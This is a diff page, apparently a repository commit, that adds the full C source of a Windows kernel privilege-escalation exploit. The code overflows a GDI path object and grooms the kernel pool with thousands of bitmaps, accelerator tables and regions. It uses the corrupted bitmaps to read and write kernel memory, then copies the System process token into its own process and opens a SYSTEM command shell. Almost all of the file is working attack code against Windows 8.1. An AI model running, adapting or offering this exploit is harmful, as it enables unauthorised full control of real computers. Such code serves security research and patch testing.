|
| 1 | +#include <Windows.h> |
| 2 | +#include <wingdi.h> |
| 3 | +#include <stdio.h> |
| 4 | +#include <winddi.h> |
| 5 | +#include <time.h> |
| 6 | +#include <stdlib.h> |
| 7 | +#include <Psapi.h> |
| 8 | + |
| 9 | +HANDLE hWorker, hManager; |
| 10 | +BYTE *bits; |
| 11 | +//dt nt!_EPROCESS UniqueProcessID ActiveProcessLinks Token |
| 12 | +typedef struct |
| 13 | +{ |
| 14 | + DWORD UniqueProcessIdOffset; |
| 15 | + DWORD TokenOffset; |
| 16 | +} VersionSpecificConfig; |
| 17 | + |
| 18 | +VersionSpecificConfig gConfig = { 0x2e0, 0x348 }; //win 8.1 |
| 19 | + |
| 20 | + |
| 21 | +void AllocateClipBoard2(unsigned int size) { |
| 22 | + BYTE *buffer; |
| 23 | + buffer = malloc(size); |
| 24 | + memset(buffer, 0x41, size); |
| 25 | + buffer[size - 1] = 0x00; |
| 26 | + const size_t len = size; |
| 27 | + HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); |
| 28 | + memcpy(GlobalLock(hMem), buffer, len); |
| 29 | + GlobalUnlock(hMem); |
| 30 | + //OpenClipboard(0); |
| 31 | + //EmptyClipboard(); |
| 32 | + SetClipboardData(CF_TEXT, hMem); |
| 33 | + //CloseClipboard(); |
| 34 | + //GlobalFree(hMem); |
| 35 | +} |
| 36 | + |
| 37 | + |
| 38 | + |
| 39 | + |
| 40 | +static HBITMAP bitmaps[5000]; |
| 41 | + |
| 42 | +void fungshuei() { |
| 43 | + HBITMAP bmp; |
| 44 | + // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. |
| 45 | + for (int k = 0; k < 5000; k++) { |
| 46 | + //bmp = CreateBitmap(1685, 2, 1, 8, NULL); //800 = 0x8b0 820 = 0x8e0 1730 = 0x1000 1700 = 0xfc0 1670 = 0xf70 |
| 47 | + bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1680 = 0xf80 1685 = 0xf90 allocation size 0xfa0 |
| 48 | + bitmaps[k] = bmp; |
| 49 | + } |
| 50 | + |
| 51 | + HACCEL hAccel, hAccel2; |
| 52 | + LPACCEL lpAccel; |
| 53 | + // Initial setup for pool fengshui. |
| 54 | + lpAccel = (LPACCEL)malloc(sizeof(ACCEL)); |
| 55 | + SecureZeroMemory(lpAccel, sizeof(ACCEL)); |
| 56 | + // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. |
| 57 | + HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); |
| 58 | + HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); |
| 59 | + for (INT i = 0; i < 7000; i++) { |
| 60 | + hAccel = CreateAcceleratorTableA(lpAccel, 1); |
| 61 | + hAccel2 = CreateAcceleratorTableW(lpAccel, 1); |
| 62 | + pAccels[i] = hAccel; |
| 63 | + pAccels2[i] = hAccel2; |
| 64 | + } |
| 65 | + // Delete the allocated bitmaps to free space at beiginig of pages |
| 66 | + for (int k = 0; k < 5000; k++) { |
| 67 | + DeleteObject(bitmaps[k]); |
| 68 | + } |
| 69 | + //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. |
| 70 | + for (int k = 0; k < 5000; k++) { |
| 71 | + CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 |
| 72 | + } |
| 73 | + // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated |
| 74 | + for (int k = 0; k < 5000; k++) { |
| 75 | + bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0 |
| 76 | + bitmaps[k] = bmp; |
| 77 | + } |
| 78 | + // Allocate 17500 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 |
| 79 | + for (int k = 0; k < 1700; k++) { //1500 |
| 80 | + AllocateClipBoard2(0x30); |
| 81 | + } |
| 82 | + // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. |
| 83 | + for (int k = 2000; k < 4000; k++) { |
| 84 | + DestroyAcceleratorTable(pAccels[k]); |
| 85 | + DestroyAcceleratorTable(pAccels2[k]); |
| 86 | + } |
| 87 | + |
| 88 | +} |
| 89 | + |
| 90 | +void SetAddress(BYTE* address) { |
| 91 | + for (int i = 0; i < sizeof(address); i++) { |
| 92 | + bits[0xdf0 + i] = address[i]; |
| 93 | + } |
| 94 | + SetBitmapBits(hManager, 0x1000, bits); |
| 95 | +} |
| 96 | +void WriteToAddress(BYTE* data) { |
| 97 | + SetBitmapBits(hWorker, sizeof(data), data); |
| 98 | +} |
| 99 | + |
| 100 | +LONG ReadFromAddress(ULONG64 src, BYTE* dst, DWORD len) { |
| 101 | + SetAddress((BYTE *)&src); |
| 102 | + return GetBitmapBits(hWorker, len, dst); |
| 103 | +} |
| 104 | + |
| 105 | +// Get base of ntoskrnl.exe |
| 106 | +ULONG64 GetNTOsBase() |
| 107 | +{ |
| 108 | + ULONG64 Bases[0x1000]; |
| 109 | + DWORD needed = 0; |
| 110 | + ULONG64 krnlbase = 0; |
| 111 | + if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) { |
| 112 | + krnlbase = Bases[0]; |
| 113 | + } |
| 114 | + return krnlbase; |
| 115 | +} |
| 116 | + |
| 117 | +// Get EPROCESS for System process |
| 118 | +ULONG64 PsInitialSystemProcess() |
| 119 | +{ |
| 120 | + // load ntoskrnl.exe |
| 121 | + |
| 122 | + ULONG64 ntos = (ULONG64)LoadLibrary("ntoskrnl.exe"); |
| 123 | + // get address of exported PsInitialSystemProcess variable |
| 124 | + ULONG64 addr = (ULONG64)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess"); |
| 125 | + FreeLibrary((HMODULE)ntos); |
| 126 | + ULONG64 res = 0; |
| 127 | + ULONG64 ntOsBase = GetNTOsBase(); |
| 128 | + // subtract addr from ntos to get PsInitialSystemProcess offset from base |
| 129 | + if (ntOsBase) { |
| 130 | + ReadFromAddress(addr - ntos + ntOsBase, (BYTE *)&res, sizeof(ULONG64)); |
| 131 | + } |
| 132 | + return res; |
| 133 | +} |
| 134 | + |
| 135 | +// Get EPROCESS for current process |
| 136 | +ULONG64 PsGetCurrentProcess() |
| 137 | +{ |
| 138 | + ULONG64 pEPROCESS = PsInitialSystemProcess();// get System EPROCESS |
| 139 | + |
| 140 | + // walk ActiveProcessLinks until we find our Pid |
| 141 | + LIST_ENTRY ActiveProcessLinks; |
| 142 | + ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); |
| 143 | + |
| 144 | + ULONG64 res = 0; |
| 145 | + |
| 146 | + while (TRUE) { |
| 147 | + ULONG64 UniqueProcessId = 0; |
| 148 | + |
| 149 | + // adjust EPROCESS pointer for next entry |
| 150 | + pEPROCESS = (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64); |
| 151 | + // get pid |
| 152 | + ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (BYTE *)&UniqueProcessId, sizeof(ULONG64)); |
| 153 | + // is this our pid? |
| 154 | + if (GetCurrentProcessId() == UniqueProcessId) { |
| 155 | + res = pEPROCESS; |
| 156 | + break; |
| 157 | + } |
| 158 | + // get next entry |
| 159 | + ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG64), (BYTE *)&ActiveProcessLinks, sizeof(LIST_ENTRY)); |
| 160 | + // if next same as last, we reached the end |
| 161 | + if (pEPROCESS == (ULONG64)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(ULONG64)) |
| 162 | + break; |
| 163 | + } |
| 164 | + return res; |
| 165 | +} |
| 166 | + |
| 167 | +void main(int argc, char* argv[]) { |
| 168 | + HDC hdc = GetDC(NULL); |
| 169 | + HDC hMemDC = CreateCompatibleDC(hdc); |
| 170 | + HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); |
| 171 | + HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); |
| 172 | + |
| 173 | + static POINT points[0x3fe01]; |
| 174 | + |
| 175 | + for (int l = 0; l < 0x3FE00; l++) { |
| 176 | + points[l].x = 0x5a1f; |
| 177 | + points[l].y = 0x5a1f; |
| 178 | + } |
| 179 | + points[2].y = 20; |
| 180 | + points[0x3FE00].x = 0x4a1f; |
| 181 | + points[0x3FE00].y = 0x6a1f; |
| 182 | + |
| 183 | + if (!BeginPath(hMemDC)) { |
| 184 | + fprintf(stderr, "[!] BeginPath() Failed: %x\r\n", GetLastError()); |
| 185 | + } |
| 186 | + |
| 187 | + for (int j = 0; j < 0x156; j++) { |
| 188 | + if (j > 0x1F && points[2].y != 0x5a1f) { |
| 189 | + points[2].y = 0x5a1f; |
| 190 | + } |
| 191 | + if (!PolylineTo(hMemDC, points, 0x3FE01)) { |
| 192 | + fprintf(stderr, "[!] PolylineTo() Failed: %x\r\n", GetLastError()); |
| 193 | + } |
| 194 | + } |
| 195 | + |
| 196 | + EndPath(hMemDC); |
| 197 | + //Kernel Pool Fung=Shuei |
| 198 | + fungshuei(); |
| 199 | + //getchar(); |
| 200 | + |
| 201 | + fprintf(stdout, "[+] Trigerring Exploit.\r\n"); |
| 202 | + if (!FillPath(hMemDC)) { |
| 203 | + fprintf(stderr, "[!] FillPath() Failed: %x\r\n", GetLastError()); |
| 204 | + } |
| 205 | + printf("%s\r\n", "Done filling."); |
| 206 | + |
| 207 | + HRESULT res; |
| 208 | + VOID *fake = VirtualAlloc(0x0000000100000000, 0x100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |
| 209 | + if (!fake) { |
| 210 | + fprintf(stderr, "VirtualAllocFailed. %x\r\n", GetLastError()); |
| 211 | + } |
| 212 | + memset(fake, 0x1, 0x100); |
| 213 | + |
| 214 | + bits = malloc(0x1000); |
| 215 | + memset(bits, 0x42, 0x1000); |
| 216 | + for (int k=0; k < 5000; k++) { |
| 217 | + |
| 218 | + res = GetBitmapBits(bitmaps[k], 0x1000, bits); //1685 * 2 * 1 + 1 |
| 219 | + if (res > 0x150) { |
| 220 | + fprintf(stdout, "GetBitmapBits Result. %x\r\nindex: %d\r\n", res, k); |
| 221 | + hManager = bitmaps[k]; |
| 222 | + hWorker = bitmaps[k + 1]; |
| 223 | + |
| 224 | + // Get Gh05 header to fix overflown header. |
| 225 | + static BYTE Gh04[0x9]; |
| 226 | + fprintf(stdout, "\r\nGh04 header:\r\n"); |
| 227 | + for (int i = 0; i < 0x10; i++){ |
| 228 | + Gh04[i] = bits[0x1d0 + i]; |
| 229 | + fprintf(stdout, "%02x", bits[0x1d0 + i]); |
| 230 | + } |
| 231 | + |
| 232 | + // Get Gh05 header to fix overflown header. |
| 233 | + static BYTE Gh05[0x9]; |
| 234 | + fprintf(stdout, "\r\nGh05 header:\r\n"); |
| 235 | + for (int i = 0; i < 0x10; i++) { |
| 236 | + Gh05[i] = bits[0xd90 + i]; |
| 237 | + fprintf(stdout, "%02x", bits[0xd90 + i]); |
| 238 | + } |
| 239 | + |
| 240 | + // Address of Overflown Gh04 object header |
| 241 | + static BYTE addr1[0x7]; |
| 242 | + fprintf(stdout, "\r\nPrevious page Gh04 (Leaked address):\r\n"); |
| 243 | + for (int j = 0; j < 0x8; j++) { |
| 244 | + addr1[j] = bits[0x210 + j]; |
| 245 | + fprintf(stdout, "%02x", bits[0x210 + j]); |
| 246 | + } |
| 247 | + //Get pvscan0 address of second Gh05 object |
| 248 | + static BYTE* pvscan[0x07]; |
| 249 | + fprintf(stdout, "\r\nPvsca0:\r\n"); |
| 250 | + for (int i = 0; i < 0x8; i++) { |
| 251 | + pvscan[i] = bits[0xdf0 + i]; |
| 252 | + fprintf(stdout, "%02x", bits[0xdf0 + i]); |
| 253 | + } |
| 254 | + |
| 255 | + // Calculate address to overflown Gh04 object header. |
| 256 | + addr1[0x0] = 0; |
| 257 | + int u = addr1[0x1]; |
| 258 | + u = u - 0x10; |
| 259 | + addr1[1] = u; |
| 260 | + |
| 261 | + //Fix overflown Gh04 object Header |
| 262 | + SetAddress(addr1); |
| 263 | + WriteToAddress(Gh04); |
| 264 | + |
| 265 | + // Calculate address to overflown Gh05 object header. |
| 266 | + addr1[0] = 0xc0; |
| 267 | + int y = addr1[1]; |
| 268 | + y = y + 0xb; |
| 269 | + addr1[1] = y; |
| 270 | + |
| 271 | + //Fix overflown Gh05 object Header |
| 272 | + SetAddress(addr1); |
| 273 | + WriteToAddress(Gh05); |
| 274 | + |
| 275 | + // get System EPROCESS |
| 276 | + ULONG64 SystemEPROCESS = PsInitialSystemProcess(); |
| 277 | + //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); |
| 278 | + ULONG64 CurrentEPROCESS = PsGetCurrentProcess(); |
| 279 | + //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); |
| 280 | + ULONG64 SystemToken = 0; |
| 281 | + // read token from system process |
| 282 | + ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, (BYTE *)&SystemToken, 0x8); |
| 283 | + // write token to current process |
| 284 | + ULONG64 CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; |
| 285 | + SetAddress((BYTE *)&CurProccessAddr); |
| 286 | + |
| 287 | + WriteToAddress((BYTE *)&SystemToken); |
| 288 | + // Done and done. We're System :) |
| 289 | + system("cmd.exe"); |
| 290 | + |
| 291 | + break; |
| 292 | + } |
| 293 | + if (res == 0) { |
| 294 | + fprintf(stderr, "GetBitmapBits failed. %x\r\n", GetLastError()); |
| 295 | + } |
| 296 | + } |
| 297 | + getchar(); |
| 298 | + //clean up |
| 299 | + DeleteObject(bitobj); |
| 300 | + DeleteObject(bitmap); |
| 301 | + DeleteDC(hMemDC); |
| 302 | + ReleaseDC(NULL, hdc); |
| 303 | + VirtualFree(0x0000000100000000, 0x100, MEM_RELEASE); |
| 304 | + //free(points); |
| 305 | + |
| 306 | +} |
0 commit comments